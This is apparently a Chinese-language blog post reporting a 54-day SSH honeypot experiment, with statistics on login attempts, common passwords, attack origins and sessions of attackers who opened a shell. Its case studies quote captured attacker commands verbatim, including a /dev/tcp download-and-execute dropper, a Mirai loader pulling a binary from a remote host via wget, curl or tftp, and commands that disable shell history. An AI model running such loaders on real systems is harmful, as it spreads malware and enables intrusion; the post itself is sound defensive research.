我把 22 号端口开放在公网上长达 54 天，看看都有哪些“访客”找上门来

实验设置

我们来做个思想实验：如果你只是……把一台电脑放到互联网上，然后等着，会发生什么？

当然，不是一台真正的电脑。而是一台假电脑。一个蜜罐——一个伪装成运行 OpenSSH 8.9 的 Ubuntu 22.04 服务器的 Python 脚本。它看起来像真的。感觉也像真的。它会以逼真的延迟接受你输入的任何密码，把你带进一个具有真实感文件系统的 shell，并将你的每一个操作都记录到 JSON 文件中。

关键在于？一切都是假的。文件是虚构的。命令是模拟的。你刚运行的那个 wget？它假装下载了 8 秒钟，还给你显示了一个漂亮的进度条。那个 apt install？它告诉你软件包已经安装好了。与此同时，每一个按键、每一组凭据、每一条命令——全都被悄悄写入日志。

我于 2026 年 2 月 11 日将其部署在一个 Docker 容器中，端口 22 对外暴露。然后我就走开了。

54 天后，我回来时发现日志文件已达 317 兆字节。

最初的 60 秒

蜜罐上线不到一分钟，第一位访客就到了。

2026 - 02 - 11 T20: 41: 15 Z connection 103.215.xx.xx
2026 - 02 - 11 T20: 41: 16 Z connection 190.181.xx.xx
2026 - 02 - 11 T20: 41: 17 Z login root / yhsj_idc @act
2026 - 02 - 11 T20: 41: 17 Z login root / oracle123

两个 IP，两次登录尝试，两组密码——某个地方有人相信这些密码或许能在某台随机服务器上奏效。而且这两件事发生在相隔不到两秒的时间内。

这并非有人专门扫描我的服务器。这是互联网的“背景辐射”——一种持续不断、自动化、覆盖全球所有 IP 地址和所有端口的扫描行为，无时无刻不在进行。如果你曾让某台机器的端口 22 对外开放，那么这正是它一直以来所经历的事情。

数据概览

先来看一组原始数据：

平均每天约有 4987 次连接，即每分钟约 3.5 次，全天候不间断。服务器从未安静过。凌晨 3 点没有，周末没有，节假日也没有。机器不会睡觉。

“耻辱墙”：最常被尝试的密码

在 255,566 次登录尝试中，使用了 48,102 个不同的密码，以下是“热门榜单”：

令人沮丧的是，那些“老面孔”依然是老面孔。仅 123456 就占所有尝试的 10% 以上。

但等等——3245gs5662d34 和 345gs5662d34 怎么排到了第 3 和第 4？它们不是字典词。它们是某些物联网设备或 appliance 固件中硬编码的默认凭据。某个僵尸网络已将它们内置其中，正在整个互联网上撒播，希望找到属于它们的特定设备。两者合计超过 1.1 万次尝试。

还有加密货币相关的尝试——solana 出现了 1155 次，sol 927 次，validator 708 次，node 598 次。攻击者正在积极搜寻 Solana 验证节点。他们尝试使用 solana、sol、solv、validator 和 node 等用户名，并搭配对应的密码。显然，有人认定加密节点运营者是有利可图的目标，并专门构建了一个僵尸网络来寻找它们。

登录成功后他们想做什么？

这才是有趣的部分。一旦某个 bot “成功”登录（记住，任何密码都能通过），它会做什么？

绝大多数——99.6% 的攻击者——从未打开交互式 shell。他们使用 SSH 的 exec 模式执行一条命令后立即断开连接：

命令                    次数
------------------- -------
uname -s -v -n -r -m   94,572
export PATH=... ; uname=$(uname -s -v -n -m ...) 63,810
echo -e "\x6F\x6B"     32,656
/bin/./uname -s -v -n -r -m 14,031
cd ~; chattr -ia .ssh; lockr -ia .ssh 6,041

模式很明确：指纹识别，然后离开。运行 uname 查看系统类型。如果输出看起来有戏，稍后再带着真正的 payload 回来。echo "\x6F\x6B"（解码后就是 "ok"）是一个简单的存活检测——超过 3.2 万个 IP 只是想确认 shell 是否响应。

其中 chattr -ia .ssh 尤其耐人寻味。它试图移除 .ssh 目录的不可变标志——这是在向 authorized_keys 注入攻击者公钥以实现持久访问前的常见准备步骤。

流量模式

每日连接量讲述了一个故事：

头两周连接数稳步上升，因为越来越多的僵尸网络发现了这个 IP。在 3 月 2 日达到顶峰，单日连接数接近 2.3 万次——即每分钟 16 次。3 月中旬后，流量显著下降。

为何下降？很可能是僵尸网络已对该 IP 完成分类。它们的数据库现在写着：“此主机响应 SSH，接受密码，运行 Linux 5.15。”它们已经拿到了所需信息。持续重新扫描阶段结束，现在只剩下零星遗漏者和新发现的僵尸网络首次探测该 IP。

他们何时发动攻击？

攻击高峰出现在 UTC 时间 01:00–04:00，而在 07:00–09:00 UTC 左右回落。这不是因为 bot 累了——很可能是因为亚洲的命令与控制（C2）服务器在其工作时段最活跃，而欧洲的 C2 基础设施则在 UTC 夜间时段加入负载。

周一和周日是最繁忙的两天。就连僵尸网络也有自己的日程安排。

攻击来源

攻击来自所有有人居住的大陆，其中美国以 1861 个 IP 发起 244,291 次事件位居榜首，其次是澳大利亚（188,922 次）、比利时（156,599 次）、德国（112,774 次）和荷兰（107,535 次）。

但这些数字具有误导性。“澳大利亚”并不意味着澳大利亚人在攻击我的蜜罐。它意味着悉尼的云数据中心深受僵尸网络运营者青睐。几乎所有澳大利亚 IP 都可追溯至廉价的 VPS 提供商。荷兰、新加坡以及美国大部分流量也是如此——都是云基础设施，而非真实用户。

比利时的流量？几乎全部来自单个住宅 IP——一台设备在数周内每秒不停地发送超过 15.6 万次登录尝试，甚至超过了整个德国的攻击总量。它只是坐在那里，一遍又一遍地 hammering echo "\x6F\x6B"， relentless。

这些 IP 背后是谁？

在全部 7556 个攻击 IP 中，分布出奇地均衡：52% 为云/VPS 实例（3940 个 IP），48% 为住宅/ISP 连接（3619 个 IP）。但云基础设施贡献了 59% 的登录总量，影响力远超其比例。住宅端则更为分散——数千台被入侵的家庭路由器和物联网设备，每台贡献较小份额，但 collectively 构成了巨大的攻击面。

主要来源清晰地揭示了一个故事：

来源	类型	IP 数量	事件数	占总比
美国云 VPS 提供商	云	1,548	632,592	47%
比利时住宅 ISP	ISP	1	156,013	12%
欧洲托管公司	托管	48	74,525	6%
欧洲云提供商	云	108	33,799	3%
中东电信	ISP	2	29,009	2%
南美研究网络	ISP	5	26,856	2%
墨西哥电信	ISP	7	24,040	2%
欧洲托管服务	托管	2	23,897	2%
亚洲云提供商	云	60	16,869	1%
中国科技公司	云	44	15,652	1%

一家云 VPS 提供商几乎主导了半数流量——1548 个 IP 产生了 632,592 次事件。仅前五大来源就占全部攻击量的 69%。但长尾效应也不容忽视：前 15 名中有三项是单一 IP——一个是比利时的住宅连接，一个是东南亚某国军信号 corps 网络，另一个是南美某大学服务器——各自 quietly 发起了数万次尝试。

悉尼、阿姆斯特丹和法兰克福位列城市排行榜前列——不是因为攻击者住在那里，而是因为那里有廉价的云数据中心。

一些更意想不到的来源：一台属于东南亚某国军信号 corps的机器发起了 12,310 次登录尝试，而南美某大学研究服务器也贡献了 11,116 次——两者几乎可以肯定是基础设施被入侵，在 owner 毫不知情的情况下被用作中继点。

0.4%：真正“现身”的那些人

在 7556 个攻击 IP 中，只有 28 个曾打开交互式 shell。也就是 0.4%。其余全是自动化操作——指纹识别后即离开。

但就是这 28 个？他们才是有趣的角色。他们输入命令，会打错字，会探索，有意图。

好奇的探索者（喀麦隆）

165.210.xx.xx | 雅温得，喀麦隆 | 住宅 ISP

root$ ls
root$ neofetch
root$ apt install neofetch
root$ lscpu
root$ cd Downloads
root$ ls
root$ cd Documents
root$ ls
root$ free -h
root$ sudo apt install nano
root$ screenfetch
root$ ping 8.8.8.8
root$ sudo reboot
root$ exit

这个案例非常有趣。他们登录后尝试运行 neofetch（一个以美观格式显示系统信息的工具），发现未安装后便执行 apt install neofetch。接着浏览 Downloads 和 Documents 目录，仿佛刚获得某人的个人电脑访问权限。他们试图安装 nano，当 neofetch 不工作时又试了 screenfetch。ping 了谷歌，尝试重启机器，然后离开。

这读起来像是一个刚学会如何入侵服务器的人，出于 genuine 好奇心在探索。他们不是经验丰富的攻击者——而是一个首次 poking around 别人电脑的 hobbyist。

他们还在某处输入了 lscou——显然是 lscpu 的拼写错误。Bot 不会打错字。

反取证小队（荷兰、瑞典）

来自荷兰和瑞典的三个独立 IP，一旦获得 shell，立刻执行完全相同的操作：

ubuntu$ ls 2>/dev/null
ubuntu$ export HISTFILE=/dev/null
ubuntu$ export HISTSAVE=/dev/null
ubuntu$ unset HISTFILE
ubuntu$ export HISTFILE=/dev/null
ubuntu$ export HISTSAVE=/dev/null
ubuntu$ unset HISTFILE

在做任何其他事情之前，他们禁用了 bash 历史记录。重复多次，冗余操作。他们真的、真的不想让自己的命令被记录。

讽刺的是？蜜罐根本不用 bash 历史记录。它在传输层进行日志记录。每一个 export HISTFILE=/dev/null 命令本身都被记录、打时间戳并归档。

专业人士（法国——租用 VPS）

然后是一位真正懂行的人：

213.199.xx.xx | 劳特堡，法国 | VPS 提供商

root$ nohup bash -c "exec 6<>/dev/tcp/213.199.xx.xx/60133 \
&& echo -n 'GET /linux' >&6 \
&& cat 0<&6 > /tmp/qNXtkNCRu0 \
&& chmod +x /tmp/qNXtkNCRu0 \
&& /tmp/qNXtkNCRu0 iO0lOO2Dg/IgJfKIj+4sIOyL..." &
root$ dd bs=1 count=1911588 > /tmp/YUHlmPSdG7

这完全是另一个级别。我们来拆解一下他们的操作：

使用 /dev/tcp/ 打开原始 TCP 套接字——没有 wget，没有 curl，不会出现在进程列表中
通过 GET /linux 直接通过套接字下载二进制文件
设为可执行并用一长串 base64 编码的 payload 启动（很可能是 C2 配置或加密密钥）
用 nohup 包装，确保 SSH 会话结束后仍能运行
尝试通过 dd 写入一个 UPX 压缩的 ELF 二进制文件

他们在三天内重复此过程六次，轮换使用四个不同的 C2 服务器（213.199.xx.xx、47.243.xx.xx、47.82.xx.xx、47.236.xx.xx）。每次尝试都使用不同的随机临时文件名和不同的编码 payload。

这不是脚本小子。这是拥有基础设施的人——多个 C2 服务器、编译好的二进制文件、针对每个目标定制的配置。一位专业的僵尸网络运营者。

IoT 难民（纽约）

85.239.xx.xx | 纽约 | 云托管

admin$ enable
admin$ system
admin$ shell
admin$ sh
admin$ linuxshell
admin$ cd /tmp/; echo "senpai" > rootsenpai; cat rootsenpai; rm -rf rootsenpai
admin$ rm -rf shr; wget http://202.155.xx.xx/shr || curl -O http://202.155.xx.xx/shr \
|| tftp 202.155.xx.xx -c get shr || tftp -g -r shr 202.155.xx.xx; \
chmod 777 shr; ./shr ssh; rm -rf shr

这个 bot 以为自己连接的是路由器。enable、system、shell——这些都是 Cisco IOS 中用于从受限 CLI 逃逸到完整 shell 的命令。当这些命令没有报错时（我们的蜜罐只返回空输出），它便认为自己获得了 shell，并部署了 Mirai 僵尸网络的 "senpai" 变种。

payload 下载设有四种备用方法：wget、curl、tftp（客户端模式）、tftp（另一种语法）。它做足了准备。下载后，将二进制文件设为 chmod 777，用 ssh 参数运行（告诉它通过 SSH 传播），然后删除自身。rootsenpai 面包屑文件是一个签名——僵尸网络用它标记已入侵的系统。

它连续尝试此序列四次。非常执着。

最受欢迎的凭据组合

哪些用户名和密码组合最受欢迎？

针对加密货币的 targeting 非常 relentless。前十五名中有五个专门 hunting Solana 区块链基础设施。有人构建（或租用）了一个僵尸网络，其唯一目的就是寻找安全防护薄弱的验证节点。

他们试图以谁的身份登录？

root 占据所有尝试的一半以上。但请注意 sol 和 solana quietly 坐在中间——加密 hunting 隐藏在服务账户撒播之中。

我的收获

1. 互联网很吵

你的服务器并不特殊。没人“ targeting ”它。互联网上的每一个 IP 地址都在被自动化系统持续探测。一旦你开放端口 22，几秒内就会收到登录尝试。这不是“是否”的问题，而是“何时”——而答案是“ immediately ”。

2. 大多数攻击者很 dumb

99.6% 的访客从未超出单条自动化命令。他们不是黑客——而是运行在被入侵机器上的脚本，遵循 C2 服务器的指令，每天在数百万 IP 上重复执行相同的 uname 命令。绝大多数互联网“攻击”只是噪音。

3. 少数聪明人非常聪明

那个法国 IP 使用 /dev/tcp/ 技巧、轮换 C2 基础设施、UPX 压缩二进制文件？那是专业级的攻击工具。底层 99% 与顶层 1% 攻击者之间的差距巨大。

4. 加密货币是 magnet

针对 Solana 节点凭据（solana/sol/validator/node）的尝试量令人惊讶。在公开可访问的 SSH 端口上运行加密基础设施且不使用基于密钥的认证，正 actively 被 hunting。

5. 有些人只是好奇

来自喀麦隆的探索者、柏林那个打字慢的人、孟加拉国那个 poking around /var 并创建 text.txt 的人——这些并非恶意行为者。他们是好奇的人类，发现了一扇敞开的门，想看看另一边有什么。他们没有下载恶意软件或尝试建立持久访问。他们只是……看了看。

6. 没人阅读 MOTD

蜜罐在登录时会显示完整的 Ubuntu 欢迎信息及系统统计。没有一个交互式用户似乎注意到或关心系统信息 suspiciously static。他们做的第一件事？ls。

实验设置（技术细节）

供有兴趣自建者参考：

语言：Python 3.11，使用 paramiko 实现 SSH 协议
部署：Docker 容器，端口 22 对外暴露
日志：结构化 JSON 行写入文件，每行一个事件
假 shell：支持约 40 条命令，输出逼真（ls、cat、ps、wget、apt、ifconfig 等）
智能延迟：破坏性/下载命令（wget、curl、apt install）随机延迟 5–10 秒，以浪费攻击者时间
容量：50 个并发连接，5 分钟会话超时

整个系统就是一个 816 行的 Python 文件。无框架，无数据库，除 paramiko 外无外部依赖。

最后思考

每分钟、每一天，成千上万的机器都在敲打互联网上的每一扇门，尝试每一把钥匙。其中大多数都在自动驾驶——由某人编写脚本，部署在被入侵的基础设施上，通过默认凭据和 lax 安全策略传播。

你的 SSH 服务器不是孤岛。它是一栋房子，所在的街区每晚都有人测试每一扇门。问题不在于是否有人会试你的锁。而在于你的锁是否够好。

使用基于密钥的认证。禁用密码登录。将 SSH 移出端口 22。如果你好奇，不妨也留一扇假门敞开，看看谁会走进来。

数据收集时间：2026 年 2 月 11 日至 4 月 5 日。所有 IP 已部分脱敏。地理位置数据来自 ip-api.com。